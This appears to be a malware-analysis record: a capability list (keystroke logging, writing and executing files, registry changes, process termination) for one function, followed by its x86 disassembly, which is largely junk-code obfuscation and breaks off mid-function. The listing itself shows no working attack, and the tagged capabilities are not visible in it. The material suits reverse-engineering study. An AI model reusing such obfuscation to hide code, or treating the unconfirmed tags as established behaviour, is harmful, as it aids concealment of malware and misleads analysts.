Function at 0x10036d0b
Capabilities:
Accept command line arguments
Clear file content
Create process on windows
Delete directory
Enumerate files on windows
Extract resource via kernel32 functions
Get common file path
Get disk information
Get graphical window text
Identify system language via api
Log keystrokes
Parse pe header
Query environment variable
Read .ini file
Set registry value
Terminate process
Write and execute a file

Disassembly:
mov eax, 0x1008d14a
call fcn.1008b8bc
mov eax, 0x18b4
call fcn.10087990
push ebx
push esi
push edi
push 3
pop ebx
mov dword [ebp - 0x58], ecx
lea ecx, [ebp - 0xf6c]
mov dword [ebp - 0x48], 0xe60f951
mov dword [ebp - 0x28], 0xb16b
push ebx
mov byte [ebp - 0x6d], dl
call fcn.1001ac19
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x668451f1
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x10036d76
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1680], 0
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jl 0x10036d5d
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x10036d92
push dword [ebp - 0x40]
lea ecx, [ebp - 0xf6c]
call fcn.1001acb7
mov dword [eax], 0xe57f6cc9
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jl 0x10036d7b
mov eax, dword [ebp - 0x48]
xor esi, esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstFileW]
inc eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x28], eax
inc esi
jmp 0x10036df7
mov dword [ebp - 0x48], eax
jmp 0x10036dee
mov dword [ebp - 0x2c], eax
jmp 0x10036de6
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10036dd4
push 0xd27
push eax
push eax
call edi
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10036de3
push eax
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jle 0x10036dc0
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 2
jle 0x10036dbb
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jle 0x10036db6
or eax, 0xffffffff
lea ecx, [ebp - 0xf6c]
mov dword [ebp - 4], eax
call fcn.1001ac9b
push 3
pop ecx
push ecx
mov dword [ebp - 0x48], 0xe60f951
lea ecx, [ebp - 0x112c]
mov dword [ebp - 0x28], 0xb16b
call fcn.1001ac19
mov dword [ebp - 4], esi
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x668451f1
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x10036e5b
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1690], 0
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jl 0x10036e42
xor eax, eax
mov dword [ebp - 0x40], eax
push 3
pop eax
cmp dword [ebp - 0x40], eax
jge 0x10036e87
push eax
pop esi
push dword [ebp - 0x40]
lea ecx, [ebp - 0x112c]
call fcn.1001acb7
mov dword [eax], 0xe57f6cc9
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], esi
jl 0x10036e68
xor esi, esi
inc esi
mov eax, dword [ebp - 0x48]
xor eax, eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], eax
jmp 0x10036ed5
mov dword [ebp - 0x48], eax
jmp 0x10036ecc
mov dword [ebp - 0x2c], eax
jmp 0x10036ec4
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10036eb2
push 0xd27
push eax
push eax
call edi
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10036ec1
push eax
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jle 0x10036e9e
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 2
jle 0x10036e99
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jle 0x10036e94
or eax, 0xffffffff
lea ecx, [ebp - 0x112c]
mov dword [ebp - 4], eax
call fcn.1001ac9b
push 3
pop eax
mov dword [ebp - 0x48], 0xe60f951
lea ecx, [ebp - 0xf80]
mov dword [ebp - 0x28], 0xb16b
push eax
call fcn.1001ac19
mov dword [ebp - 4], 2
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x668451f1
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x10036f3d
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x16e8], 0
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jl 0x10036f24
xor eax, eax
mov dword [ebp - 0x40], eax
push 3
pop eax
cmp dword [ebp - 0x40], eax
jge 0x10036f69
push eax
pop esi
push dword [ebp - 0x40]
lea ecx, [ebp - 0xf80]
call fcn.1001acb7
mov dword [eax], 0xe57f6cc9
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], esi
jl 0x10036f4a
xor esi, esi
inc esi
mov eax, dword [ebp - 0x48]
xor eax, eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], eax
jmp 0x10036fb7
mov dword [ebp - 0x48], eax
jmp 0x10036fae
mov dword [ebp - 0x2c], eax
jmp 0x10036fa6
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10036f94
push 0xd27
push eax
push eax
call edi
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10036fa3
push eax
push eax
call ebx
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jle 0x10036f80
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 2
jle 0x10036f7b
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jle 0x10036f76
or ebx, 0xffffffff
lea ecx, [ebp - 0xf80]
mov dword [ebp - 4], ebx
call fcn.1001ac9b
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x3c], 0x11e9a9d0
mov dword [ebp - 0x3c], 0x32c2a4e6
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x10037008
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xfb4], 0x97a4a12b
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x10036fef
xor eax, eax
push 3
pop ebx
cmp dword [ebp - 0x18], eax
je 0x1003704e
mov dword [ebp - 0x20], 0xb64b5c6f
mov dword [ebp - 0x18], eax
jmp 0x10037041
mov dword [ebp - 0x28], 0xefa9d19a
mov dword [ebp - 0x38], 0x4d0289a6
mov dword [ebp - 0x28], eax
jmp 0x10037039
mov dword [ebp - 0x38], 0xbf38c088
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x1003702f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1003701c
dec dword [ebp - 0x20]
jmp 0x1003710f
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], eax
jl 0x1003710f
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x2c], 0x66ef
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0xfb4], 0
jne 0x1003707f
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10037081
mov eax, esi
cmp eax, dword [ebp - 0x18]
jne 0x1003709d
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xfb4]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xfb4]
mov eax, dword [ebp - 0x24]
xor edx, edx
inc eax
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setl dl
xor eax, eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
jmp 0x100370fe
mov dword [ebp - 0x20], 0xab3ae5d5
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x100370f6
mov dword [ebp - 0x2c], eax
jmp 0x100370ee
mov dword [ebp - 0x24], eax
jmp 0x100370e6
mov dword [ebp - 0x20], 7
dec dword [ebp - 0x20]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x100370d9
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x100370d4
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jle 0x100370cf
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff4
je 0x100370bb
dec dword [ebp - 0x34]
jns 0x10037061
xor eax, eax
mov dword [ebp - 0x28], esi
or edx, 0xffffffff
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], 0x9b857552
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x1003714e
xor edi, edi
inc edi
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x46c], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x1003712d
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x28], eax
jmp 0x1003721a
mov dword [ebp - 0x24], 0x516a205b
mov dword [ebp - 0x3c], 0x84bc9c3
mov dword [ebp - 0x38], 0x31c587c7
mov dword [ebp - 0x3c], 0x168f928d
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x48], 0xfffffff8
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x48], 0x97b0
mov dword [ebp - 0x24], eax
jmp 0x10037212
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], eax
jg 0x1003720f
mov dword [ebp - 0x2c], eax
jmp 0x100371ec
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x100371e9
push 0xc6a
push 0x21d6
push 0x1cb9
push 0x1f10
push 0x8e8
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jle 0x100371ad
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x46c]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x46c], ecx
xor eax, eax
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], eax
jle 0x100371a8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x100371a0
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffffa
jg 0x10037156
movdqa xmm0, xmmword [0x10008400]
lea eax, [ebp - 0x1228]
push eax
lea eax, [ebp - 0x1238]
push eax
lea ecx, [ebp - 0x16e0]
movdqu xmmword [ebp - 0x1238], xmm0
call fcn.1001acc6
lea ecx, [ebp - 0x271]
mov esi, eax
call fcn.1000959b
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x178]
push dword [esi]
call fcn.1001ac75
mov dword [ebp - 4], ebx
xor eax, eax
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x38], 0x1d0b827b
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jg 0x10037472
xor edi, edi
inc edi
mov dword [ebp - 0x3c], 0x40ca7005
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x24], 0xbc22
push dword [ebp - 0x34]
call fcn.1001acb7
push dword [ebp - 0x34]
lea ecx, [ebp - 0x178]
mov esi, eax
call fcn.1001acb7
mov ecx, dword [esi]
xor ebx, ebx
push dword [ebp - 0x34]
cmp ecx, dword [eax]
lea ecx, [ebp - 0x178]
setle bl
call fcn.1001acb7
mov eax, dword [eax]
imul eax, ebx
test eax, eax
jne 0x100372ea
cmp dword [ebp - 0x24], eax
je 0x100372f8
jmp 0x100372ec
xor eax, eax
push eax
lea ecx, [ebp - 0x178]
call fcn.1001acb7
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x178]
push dword [ebp - 0x34]
call fcn.1001acb7
push dword [ebp - 0x34]
lea ecx, [ebp - 0x178]
mov esi, dword [eax]
call fcn.1001acb7
sub esi, dword [eax]
je 0x1003734f
push 3
pop ebx
mov dword [ebp - 0x24], ebx
xor eax, eax
cmp dword [ebp - 0x24], eax
jl 0x10037449
push dword [ebp - 0x34]
lea ecx, [ebp - 0x178]
call fcn.1001acb7
cmp dword [eax], 0
jne 0x10037447
dec dword [ebp - 0x24]
jns 0x1003732e
jmp 0x10037447
mov dword [ebp - 0x2c], 0x67b
xor eax, eax
mov dword [ebp - 0x4c], edi
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1003736c
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
xor eax, eax
cmp dword [ebp - 0x2c], eax
jg 0x10037434
push edi
lea ecx, [ebp - 0x178]
call fcn.1001acb7
cmp dword [eax], 0
je 0x100373d9
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x178]
mov eax, dword [ebp - 0x34]
xor eax, eax
push eax
call fcn.1001acb7
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x178]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], 0x4605dd88
mov eax, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x4c]
neg esi
push edi
sbb esi, esi
neg esi
call fcn.1001acb7
cmp esi, edi
mov edx, 0xfff9
sbb ecx, ecx
inc ecx
cmp edx, ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [eax]
je 0x100373dc
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x100373de
mov eax, dword [ebp - 0x34]
xor eax, eax
push eax
lea ecx, [ebp - 0x178]
call fcn.1001acb7
mov edx, dword [ebp - 0x2c]
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x38]
setg cl
add eax, ecx
je 0x10037418
push dword [ebp - 0x34]
lea ecx, [ebp - 0x178]
call fcn.1001acb7
cmp dword [eax], 0
je 0x10037418
mov edx, edi
jmp 0x1003741c
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, 0x1e97
je 0x10037432
mov ecx, edi
jmp 0x10037436
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x24]
sub ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
push 3
mov dword [ebp - 0x20], eax
pop ebx
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10037460
push eax
push 0x88b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x10037290
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
or esi, 0xffffffff
lea ecx, [ebp - 0x178]
mov dword [ebp - 4], esi
call fcn.1001ac9b
mov dword [ebp - 0x30], 0xe60f951
xor eax, eax
mov dword [ebp - 0x48], 0x8a87013d
xor ecx, ecx
mov dword [ebp - 0x24], 0xfffffffb
inc ecx
mov dword [ebp - 0x20], 0x3a0f0f5e
mov dword [ebp - 0x38], 0xf2e07230
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jge 0x100374d3
xor edi, edi
inc edi
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x210], esi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x100374b6
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor ecx, ecx
xor eax, eax
inc ecx
push 9
pop edx
cmp dword [ebp - 0x48], eax
je 0x100374fe
cmp dword [ebp - 0x48], esi
jae 0x100374fe
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x100375c9
push 0x1cab
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x100375c7
mov dword [ebp - 0x2c], 0x135e1f6f
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x10037526
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x114c], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x10037511
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10037571
mov eax, dword [ebp - 0x24]
xor edx, edx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
setne dl
add ecx, 0x2f1e
add ecx, edx
xor edx, edx
cmp ecx, eax
setg dl
add edx, dword [ebp - 0x210]
mov eax, dword [ebp - 0x24]
sub edx, 0x758b39d2
neg edx
sbb edx, edx
inc edx
sub edx, eax
jne 0x10037571
xor eax, eax
mov ecx, eax
jmp 0x10037576
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x24]
imul eax, ecx
test eax, eax
jne 0x10037583
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x210]
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x210], eax
je 0x100375a3
cmp dword [ebp - 0x24], eax
je 0x100375a3
lea ecx, [eax + 1]
jmp 0x100375a5
mov ecx, eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1148], esi
xor eax, eax
mov dword [ebp - 0x10], 0xb16b
mov dword [ebp - 0x48], 0xc03342eb
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffe6
jg 0x100376ec
or edi, 0xffffffff
jmp 0x100375ee
xor eax, eax
push 4
mov dword [ebp - 0x28], eax
pop ecx
jmp 0x10037607
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xbdc], 0xfffffffe
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x100375f6
mov dword [ebp - 0xbd8], ecx
jmp 0x100376b4
movdqa xmm0, xmmword [0x100083e0]
lea eax, [ebp - 0x1388]
push eax
lea eax, [ebp - 0x1398]
push eax
lea ecx, [ebp - 0x1718]
movdqu xmmword [ebp - 0x1398], xmm0
call fcn.1001acc6
lea ecx, [ebp - 0x224]
mov esi, eax
call fcn.1000959b
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xc1c]
push dword [esi]
call fcn.1001ac75
mov dword [ebp - 4], 4
xor eax, eax
mov dword [ebp - 0x2c], 2
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], eax
jl 0x100376a0
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xc1c]
call fcn.1001acb7
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xc1c]
mov esi, eax
call fcn.1001acb7
mov ecx, dword [esi]
mov dword [eax], ecx
mov eax, dword [ebp - 0x48]
dec dword [ebp - 0x2c]
jns 0x10037676
lea ecx, [ebp - 0xc1c]
mov dword [ebp - 4], edi
call fcn.1001ac9b
inc dword [ebp - 0xbd8]
cmp dword [ebp - 0xbd8], 7
je 0x10037617
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x100376d9
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xffffffe6
jle 0x100375ec
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 2
pop esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x48], 0x4c506d44
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x10037723
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x10037769
push 0x1668
push 0x23d2
push 0xbe3
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
jmp 0x10037769
mov dword [ebp - 0x48], eax
jmp 0x10037763
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003773a
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1003775a
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10037757
push eax
push 0x264c
push eax
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x38
jle 0x1003773f
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0x30
jge 0x10037728
push ebx
lea ecx, [ebp - 0x1170]
call fcn.1001ac19
push ebx
lea ecx, [ebp - 0xdc0]
mov dword [ebp - 4], 5
call fcn.1001ac19
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1144]
mov dword [ebp - 0x18], 0xb8ee41b6
push ebx
call fcn.1001ac19
xor eax, eax
mov byte [ebp - 4], 7
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100377cb
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xdc0]
call fcn.1001acb7
mov dword [eax], 0x4e2db58e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100377ad
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100377eb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2e0], 0x7ad95e17
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100377d3
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10037811
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1144]
call fcn.1001acb7
mov dword [eax], 0x76e8d2ca
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100377f3
xor eax, eax
mov dword [ebp - 0x2d8], esi
cmp dword [ebp - 0x2d8], eax
jl 0x1003782e
mov dword [ebp - 0x18], 0x1220985a
dec dword [ebp - 0x2d8]
jns 0x1003781f
xor ebx, ebx
lea ecx, [ebp - 0xdc0]
inc ebx
push ebx
call fcn.1001acb7
mov ecx, dword [ebp - 0x2d8]
cmp ecx, dword [eax]
jl 0x10037877
mov dword [ebp - 0x18], esi
xor eax, eax
cmp dword [ebp - 0x18], eax
jl 0x10037926
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003786d
push eax
push 0x243
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x10037855
jmp 0x10037926
or eax, 0xffffffff
mov dword [ebp - 0x28], 0xba22e974
mov dword [ebp - 0x24], eax
xor edx, edx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x20], 0x970c0f3a
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2d8]
mov eax, dword [ebp - 0x2d8]
mov eax, dword [ebp - 0x24]
push 3
pop ecx
sub ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x2dc]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, 0x97802932
sete cl
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x28]
cmp eax, 0xfffffffa
jle 0x100378f7
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x100378f9
mov ecx, ebx
jmp 0x100378fb
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x28]
imul eax, ecx
xor ecx, ecx
imul eax, eax, 0x94ad
mov dword [ebp - 0x2d8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2d8]
cmp eax, 0x6bb218ad
setge cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x1144]
call fcn.1001ac9b
lea ecx, [ebp - 0xdc0]
mov byte [ebp - 4], 5
call fcn.1001ac9b
xor eax, eax
mov dword [ebp - 0x2c], eax
push 3
mov dword [ebp - 0x40], eax
pop ecx
cmp dword [ebp - 0x40], ecx
jge 0x10037968
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xf94], 0x648261f9
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ecx
jl 0x10037950
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ebx
jge 0x10037985
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x74], 0x9be1d925
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jl 0x10037970
xor eax, eax
mov dword [ebp - 0x74], esi
cmp dword [ebp - 0x74], eax
jl 0x100379ba
mov dword [ebp - 0x24], ebx
inc dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
jmp 0x100379b0
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x100379ad
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x10037998
dec dword [ebp - 0x74]
jns 0x1003798d
mov ecx, dword [ebp - 0xf8c]
xor edx, edx
mov eax, dword [ebp - 0x74]
imul ecx, eax
mov eax, dword [ebp - 0x74]
push 3
cmp eax, ecx
mov eax, dword [ebp - 0x74]
setl dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0xf8c]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x74]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x74]
setg bl
xor ecx, ecx
cmp ebx, eax
pop ebx
setne cl
xor eax, eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x3c], 0x668451f1
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10037a30
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x260], 0xfffffffe
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x10037a18
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jg 0x10037b20
or edi, 0xffffffff
push 4
lea ecx, [ebp - 0xc34]
call fcn.1001ac19
xor eax, eax
mov byte [ebp - 4], 8
mov dword [ebp - 0x28], eax
jmp 0x10037a6e
push dword [ebp - 0x28]
lea ecx, [ebp - 0xc34]
call fcn.1001acb7
mov dword [eax], 0xc4a87fce
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x10037a57
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x260]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x260]
test eax, eax
mov eax, dword [ebp - 0x1c]
setne cl
mov edx, dword [ebp + eax*4 - 0x260]
xor eax, eax
cmp ecx, 0xfffffff6
setle al
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x260]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setl cl
cmp ecx, dword [ebp + eax*4 - 0x260]
je 0x10037ace
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x260], 0
je 0x10037ad8
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x260]
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0xc34]
push ebx
mov eax, dword [ebp + eax*4 - 0x260]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x260]
mov eax, dword [ebp - 0x1c]
call fcn.1001acb7
lea ecx, [ebp - 0xc34]
mov byte [ebp - 4], 5
mov dword [eax], edi
call fcn.1001ac9b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x10037a3f
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
push 0xfffffffffffffff7
mov dword [ebp - 0x1c], eax
pop ecx
jmp 0x10037ba6
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x10037b4e
mov eax, dword [ebp - 0x34]
